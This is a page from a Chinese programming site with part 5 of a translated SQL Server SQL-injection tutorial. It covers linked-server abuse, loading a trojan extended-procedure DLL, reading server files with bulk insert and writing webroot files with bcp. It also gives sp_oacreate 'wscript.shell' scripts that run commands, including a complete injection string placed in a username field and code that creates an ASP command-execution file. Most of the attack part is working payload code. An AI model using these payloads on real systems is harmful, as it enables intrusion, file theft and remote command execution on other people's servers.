程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server的高級Sql注入(5)

SQL Server的高級Sql注入(5)

編輯:關於SqlServer
xp_terminate_process 結束一個給定PID進程

[聯合服務器]

SQL-Server提供了一個服務器聯合的機制,就是允許一個數據庫服務器上的查詢操作其他服務器的數據。這些聯合設置存放在master..sysservers表裡,如果一個相連的服務器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經存在,可以通過它不登陸而訪問該服務器。'openquery'函數允許查詢在聯合服務器上執行。

[用戶自定義擴展存儲]

擴展存儲的API是相當簡單的,創建一個帶有惡意代碼的擴展存儲DLL也是相當容易的。通過命令行有很多方法將DLL上傳到服務器,還有其他的很多方法包括各種通信機制來自動實現,比如HTTP下載和FTP腳本。
一旦DLL文件出現在服務器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴展存儲(這裡,我們的惡意擴展存儲是個用來操作服務器的文件系統小的木馬)

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

擴展存儲就可以通過一般的方法調用:

exec xp_webserver

一旦這個擴展存儲執行過,可以這樣刪除它:

sp_dropextendedproc 'xp_webserver'

[向表中導入文本文件]

利用'bulk insert'語句,可以把一個文本文件的內容插入進一張臨時表,我們簡單的創建一個表:

create table foo( line varchar(8000) )

然後執行bulk insert來插入數據來自於一個文件:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.ASP'

通過上面介紹過的錯誤信息技巧就可以得到數據,或者通過一個'union'查詢,把文本數據作為查詢的數據返回。這對於獲得存儲在數據庫裡的腳本如ASP腳本很有用。

[利用BCP創建文本文件]

利用和'bulk insert'作用相反的技術創建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因為bcp在SQL-Server進程外訪問數據庫,它需要一次登陸。但是這不難,因為攻擊者都可以創建一個;或者如果服務器配置使用了“完整性”安全模式,攻擊者可以利用它。

命令行格式如下:

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.ASP -c -Slocalhost -Usa -Pfoobar

'S'參數是要運行查詢的服務器,'U'參數是用戶名,'P'是密碼,這裡的密碼是'foobar'。

[SQL-Server 裡的ActiveX自動腳本]

SQL-Server提供了一些內置的擴展存儲,允許在SQL-Server內創建ActiveX自動腳本。這些腳本在功能上和Windows scripting host上運行的腳本或者ASP腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創建自動對象並且通過他們產生作用。一個用Transact-SQL寫的自動腳本可以做任何ASP腳本或者WSH腳本能做的事。

下面提供一些例子來說明:

1)這個例子用'wscript.shell'對象創建一個notepad的實例(當然這裡也可以是任何命令行命令)

-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我們的例子裡可以使用這樣的用戶名(都在一行):

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--

2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:

-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子創建一個ASP腳本執行任意命令:

-- scripting.filesystemobject example - create a 'run this' .ASP file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.ASP', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '

需要注意的很重要的一點是Windows NT4,IIS4平台ASP腳本將會以'system'的帳號運行,而在IIS5他們會以低權限的IWAM_xxx帳號運行。

4)這個例子(稍帶欺騙性)說明這項技術的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/Html/msdn_texttosp.htm)對象,使SQL Server說話

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved